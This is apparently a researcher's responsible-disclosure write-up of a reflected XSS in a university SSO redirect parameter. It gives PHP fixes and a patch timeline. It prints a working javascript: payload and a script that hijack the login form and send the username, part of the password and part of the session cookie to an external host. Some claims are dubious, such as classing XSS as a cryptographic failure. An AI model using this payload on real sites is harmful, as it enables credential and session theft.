Case Study: Responsible Disclosure of a Critical Reflected XSS and Account Takeover Vulnerability
Disclaimer: The vulnerability described below was discovered during independent security research. It has been responsibly disclosed to the institution’s IT department and was patched immediately. All sensitive details (target name, URLs) have been redacted to maintain confidentiality.
Introduction
Following up on my October 2025 discovery of a Path Traversal vulnerability in the Student Portal, I continued to keep an eye on the core infrastructure of the institution. Once you realize that legacy components exist in production, it is only logical to examine how the most critical gateways handle data.
This time, my “security radar” focused on the crown jewels of the university’s network: the Central Authentication Service (CAS / SSO Login System). This system acts as the single entry point for all student, professor, and administrative accounts.
What I uncovered was a high-severity Reflected Cross-Site Scripting (XSS) flaw wrapped inside the post-authentication flow. By exploiting a specific logic gap, this vulnerability could be escalated into full Account Takeover (ATO) and credential harvesting.
Here is the technical breakdown of the discovery, the Proof of Concept (PoC), and the remediation process.
1. Reconnaissance: The Redirection Parameter
When analyzing Single Sign-On (SSO) architectures, the most interesting attack surfaces are almost always the parameters dictating where the user should be redirected after a successful login.
While looking at the central login page, I intercepted the authentication request payload. The URL structure looked similar to this:
GET /login.php?service=https://portal.DOMAIN.pl/auth-callback
The service parameter immediately stood out as a primary target. In secure environments, this parameter must be strictly checked against a trusted allowlist to prevent Open Redirect attacks. However, I wanted to see if the system went a step further and safely sanitized or encoded this input before rendering it back to the browser context.
2. The Discovery: The Post-Authentication Trap
Initial attempts to inject basic JavaScript payloads (like "><script>alert(1)</script>) directly into the URL on the raw login page yielded nothing. The login form loaded clean, and the payload appeared to be safely ignored or ignored by the initial rendering engine.
However, a critical realization changed the scope: the service parameter wasn’t being evaluated on the login page itself—it was passed forward and processed during the redirection phase after successful authentication.
This meant that standard automated scanners checking the landing page would completely miss the flaw. To find it, I had to complete the entire authentication workflow with valid credentials to see how the parameter behaved inside the post-login DOM state.
3. Proof of Concept (PoC)
To safely demonstrate the severity without risking other users’ data, I utilized my own student account to map out an escalation path to Account Takeover.
Step 1: Injecting the Payload into the Redirection Flow
I started by crafting a simple verification URL to confirm execution:
https://sso.DOMAIN.pl/login.php?service=javascript:alert(document.domain)
When loading this link in an isolated Incognito browser session, the legitimate, secure login screen loaded normally. No alerts triggered yet.
Step 2: Executing the Post-Auth XSS
I entered my valid student credentials into the form and pressed “Log In”.
The server authenticated the account, generated the session, and then processed the redirection URL provided in the service parameter. Before navigating away from the trusted SSO domain, the browser interpreted the javascript: URI context.
Result: Success. The browser executed the JavaScript payload within the trusted domain, rendering the alert box.
Step 3: Escalating to Account Takeover (ATO)
An alert() box proves execution, but to show real-world business impact, I analyzed what data an attacker could extract during this exact split-second window. I discovered two major compounding factors:
- Credential Harvesting via DOM: Because modern browsers auto-fill credentials or keep them active in the DOM inputs right until the submission page completely unloads, the injected script could instantly read the plaintext username and password fields before the redirection completed.
- Session Hijacking via Token Race Condition: While the server intended to enforce
HttpOnlyprotections on session cookies, I uncovered a logic flaw during session initialization. When a new session token was initially issued right after login, it was temporarily exposed in the DOM environment prior to the final security attributes being locked down by the subsequent service redirection step.
To demonstrate this full impact visually, I replaced the simple alert with the URL-encoded form-hijacking script:
https://sso.DOMAIN.pl/login.php?service=javascript%3Avoid%28f%3Ddocument.forms%5B0%5D%2Cf.parentNode.style.border%3D%274px%20solid%20red%27%2Cdocument.querySelector%28%27.login-box-msg%27%29.innerHTML%3D%27%3Cb%20style%3D%22color%3Ared%22%3E%5BDEMO%5D%20XSS%20HIJACKED%3Cbr%3EPRESS%20LOGIN%20FOR%20EXTRACTION%20PoC%3C%2Fb%3E%3Cstyle%3E.overlay%7Bdisplay%3Anone%21important%7D%3C%2Fstyle%3E%27%2Cdocument.getElementById%28%27loginBtn%27%29.onclick%3De%3D%3E%7Be.preventDefault%28%29%3Blocation%3D%27https%3A%2F%2Fnajdek.github.io%2Fxss-poc%2F%3Fu%3D%27%2Bf.login.value%2B%27%26p%3D%27%2Bf.password.value%5B0%5D%2B%27%26s%3D%27%2B%28document.cookie.match%28%2FPHPSESSID%3D%28.%7B4%7D%29%2F%29%7C%7C%5B%27%27%2C%27NONE%27%5D%29%5B1%5D%7D%29
Below is the demonstration of the hijacked login flow in action:
The Exploit Payload (Ethical Implementation)
To help the IT department quickly reproduce the issue, I developed a non-destructive deployment script. A key part of ethical hacking is ensuring your Proof of Concept proves the vulnerability without actually collecting or exposing sensitive data.
In my payload, I deliberately restricted data exfiltration to only harvest the username, the first character of the password, and a truncated 4-character slice of the Session ID. This was more than enough to confirm full compromise to the sysadmins while fully protecting account integrity.
The complete, live-tested PoC script shared with the IT team can be verified in this GitHub Gist:
// Payload: XSS Form Hijacking & Session Extraction PoC
// This script simulates a malicious injection to demonstrate credential theft.
(function(){
var form = document.forms[0];
// --- DEMO MODE VISUALS ---
// NOTE: In a real attack, these visual steps would be skipped.
// An attacker would execute the extraction and redirect INSTANTLY
// upon page load, making the attack invisible to the user.
// 1. Visual Confirmation (Red Border & Warning Text)
form.parentNode.style.border = '4px solid red';
var msgBox = document.querySelector('.login-box-msg');
// We inject a CSS style tag to FORCE hide the loading spinner (.overlay)
msgBox.innerHTML = '<b style="color:red">[DEMO] XSS HIJACKED<br>PRESS LOGIN FOR EXTRACTION PoC</b><style>.overlay{display:none!important}</style>';
// 2. Hijack the Login Button Click Event
document.getElementById('loginBtn').onclick = function(e) {
// Prevent the legitimate login request
e.preventDefault();
// 3. Extract Session ID (Proof of missing HttpOnly flag)
var sessionMatch = document.cookie.match(/PHPSESSID=(.{4})/);
var sessionID = sessionMatch ? sessionMatch[1] : 'NONE';
// 4. Exfiltrate Data to External Server
// Sends: Login, 1st char of Password, and partial Session ID
window.location.href = 'https://najdek.github.io/xss-poc/'
+ '?u=' + encodeURIComponent(form.login.value)
+ '&p=' + encodeURIComponent(form.password.value[0])
+ '&s=' + encodeURIComponent(sessionID);
};
})()
By executing a script capable of reading the DOM fields and the temporary session state simultaneously, an attacker could silently exfiltrate plaintext credentials and active tokens to an external logging server.
4. The Impact
This vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’).
It falls directly under the Cryptographic Failures / Injection categories of the OWASP Top 10.
Because this flaw lived inside the Central Authentication Service, the impact was severe:
- Targeted Phishing: Attackers could distribute legitimate-looking links to staff or students. The domain in the address bar would be 100% genuine, eliminating standard user red flags.
- Mass Credential Theft: Anyone logging in through an infected link would completely compromise their login combination and active session state.
- SSO Compromise: Because the SSO keys give access to all connected internal applications, compromising a single administrative session via this XSS could grant lateral access to student databases, grades, and email networks.
5. Responsible Disclosure & Remediation
As soon as the credential extraction scenario was verified using my own account, I immediately stopped testing and compiled a comprehensive technical report, including a secure, non-destructive video walk-through demonstrating the flow.
The Timeline (January 2026):
- Saturday, January 24th, 2026 (12:20 PM): Initial Contact. I sent a preliminary alert to the IT department, noting the discovery of a critical vulnerability in the SSO login system and requesting a secure channel to share technical details.
- Monday, January 26th, 2026 (08:40 AM): IT Response. The IT team acknowledged the alert, authorizing me to transmit the technical details.
- Monday, January 26th, 2026 (09:05 AM): Full Report Sent. I provided the comprehensive technical write-up, complete with reproduction steps, the video Proof of Concept (PoC), and the GitHub Gist tracking link.
- Tuesday, January 27th, 2026 (09:05 AM): Remediation Confirmed. The IT department confirmed that the application patch had been successfully deployed to production, completely neutralizing the vulnerability exactly 24 hours after receiving the full report.
The patch was fully deployed within less than 24 hours of receiving the detailed report, proving once again that the IT department takes proactive security coordination seriously.
How to fix this in PHP?
(General advice for developers)
When dealing with dynamic redirections or rendering parameters passed via URLs, you must ensure strict structural validation and context-aware escaping.
1. Enforce a Strict Domain Allowlist: Never pass raw input straight into a header redirection or location change. Parse the URL and verify it against an internal list of approved domains.
$allowed_services = [
'https://portal.university.edu/auth-callback',
'https://mail.university.edu/login'
];
$requested_service = $_GET['service'];
if (!in_array($requested_service, $allowed_services)) {
// Default fallback to a safe internal page
$redirect_url = 'https://sso.university.edu/dashboard';
} else {
$redirect_url = $requested_service;
}
header("Location: " . $redirect_url);
exit;
2. Sanitize and Validate Schemes:
Ensure that incoming redirect parameters explicitly start with safe web protocols (http:// or https://) to completely block the execution of inline browser contexts like javascript: or data:.
$service = $_GET['service'];
// Basic scheme check to ensure it is a valid web URL
if (!preg_match('/^https?:\/\//i', $service)) {
die("Invalid redirection target.");
}
Conclusion
This case study demonstrates why security review cannot stop at the surface level. A parameter that appears perfectly sanitized or benign on a landing page can become highly toxic once processed further down the application lifecycle workflow.
By building a transparent, collaborative relationship with the IT department through professional disclosure channels, we were able to quickly neutralize a critical entry point and keep the broader student infrastructure safe.